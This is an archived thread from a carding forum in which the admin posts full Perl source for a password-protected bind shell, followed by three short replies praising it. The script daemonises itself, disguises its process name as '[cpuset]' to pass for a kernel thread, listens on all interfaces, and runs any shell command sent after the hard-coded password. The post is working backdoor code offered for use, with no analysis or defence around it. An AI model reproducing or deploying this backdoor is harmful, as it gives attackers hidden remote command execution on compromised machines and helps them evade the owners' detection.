PDA

View Full Version : [Source] Bind-Shell perl



CardingMafia Admin
04-04-2013, 10:38 AM
#!/usr/bin/perl

use IO::Socket;
use strict;
use warnings;

my $pid=fork();
exit if $pid;
$0='[cpuset]';

if($#ARGV != 0){
print '

[+] Bind Shell By MMxM How to use: perl bind.pl <port-to-listening>
';
exit;
}

my $bind = IO::Socket::INET->new(
LocalAddr => '0.0.0.0',
LocalPort => $ARGV[0],
Type => SOCK_STREAM,
Reuse => 1,
Listen => 10
) || die "[-] erro : $!\n";

print "Listen in port $ARGV[0]\n";

while(my $cmd = $bind->accept()){
print $cmd ' Enter Password: ';
chomp(my $pass = <$cmd>);
if ($pass eq 'mmxm'){
print $cmd "\n[+] Welcome\n\n";
print $cmd '$ ';
while (my $cd = <$cmd>){
my @code = `$cd 2> /dev/stdout`;
my $output = join('',@code);
print $cmd $output;
print $cmd '$ ';
}
}
}
close($bind);

Akpb
04-04-2013, 11:54 AM
aWESOME bro you are the real guy

sasami_327
12-24-2013, 04:21 PM
very nice code! :)

thanks for share!! :P

spaunpredator
05-10-2017, 02:46 PM
thank man rally good